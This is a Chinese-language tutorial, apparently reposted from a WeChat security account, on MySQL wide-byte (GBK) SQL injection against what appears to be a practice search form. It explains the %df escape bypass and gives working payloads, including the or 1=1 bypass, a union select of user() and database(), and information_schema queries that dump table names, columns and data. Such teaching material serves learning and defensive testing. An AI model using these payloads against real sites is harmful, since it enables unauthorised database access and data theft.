Mysql宽字节手工注入

admin 2023年6月16日01:42:38评论66 views字数 1153阅读3分50秒阅读模式

宽字符是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会丢掉转义字符“”(编码后即将它转换为%5C),而刚好在前面跟上“%df”即“%df%5C“,解码是一个汉字”運“,这样就可以成功闭合转义符””,所以产生宽字节注入

01


宽字节注入_举例

当利用特殊字符测试sql注入点时,发现字符被转义或没有报错回显和没有正常数据返回时,就有可能被某些函数通过编码把输入的特殊字符转义了。如下:
查看PHP核心代码
解析:

    1.红色箭头表示服务器通过POST请求把用户的值参数传到$name

    2.黄色方框表示传入数据库的查询语句

    3.蓝色箭头表示设置的编码

Mysql宽字节手工注入

正常搜索框搜索数据,输入名字就可以查询对应数据

Mysql宽字节手工注入

当输入'后,被转义后会变成这个样子',在通过编码处理即%5C%27,带入sql即
"select id,email from member where username='kobe''"
语句不成立导致无法正常查询数据

Mysql宽字节手工注入

这种情况就可以通过用%df把转义符合并掉来绕过限制

思路整理:

    输入%df'后,传到服务器被转义后%df',再通过编码处理即%df%5C%27,在GBK中,%df%5C为一个汉字”“,带入sql即運'

select id,email from member where username='kobe運''
提醒:前一个Ascii码大于128才能到汉字范围。
再加入测试语句,则完整语句为
kobe%df' or 1=1#
带入数据库后
select id,email from member where username='kobe運' or 1=1#'

Mysql宽字节手工注入


02


宽字节注入_获取基本信息

查看当前用户和数据库

kobe%df' union select user(),database()#

Mysql宽字节手工注入

由此可见payload只要在黄色区间内,在足够权限和符合语句逻辑状态下可以任意执行sql语句

Mysql宽字节手工注入

👇常用查库语句👇

确定当前字段

order by 3

查询指定库所有数据表

union select table_name,2,3 from information_schema.tables where (table_schema='数据库名')

查询指定表的所有表头

union select column_name,2,3 from information_schema.columns where (table_name="表名")

查看指定表头内容

union select 表头1,2,表头2 from 表名

注释:注入方法与数字型注入基本相同,只要在闭合与注释符两者区间内执行mysql命令即可利用该漏洞,从这部分开始,后续不做详细介绍与演示。



本文始发于微信公众号(Khan安全攻防实验室):Mysql宽字节手工注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月16日01:42:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mysql宽字节手工注入https://cn-sec.com/archives/535482.html

发表评论

匿名网友 填写信息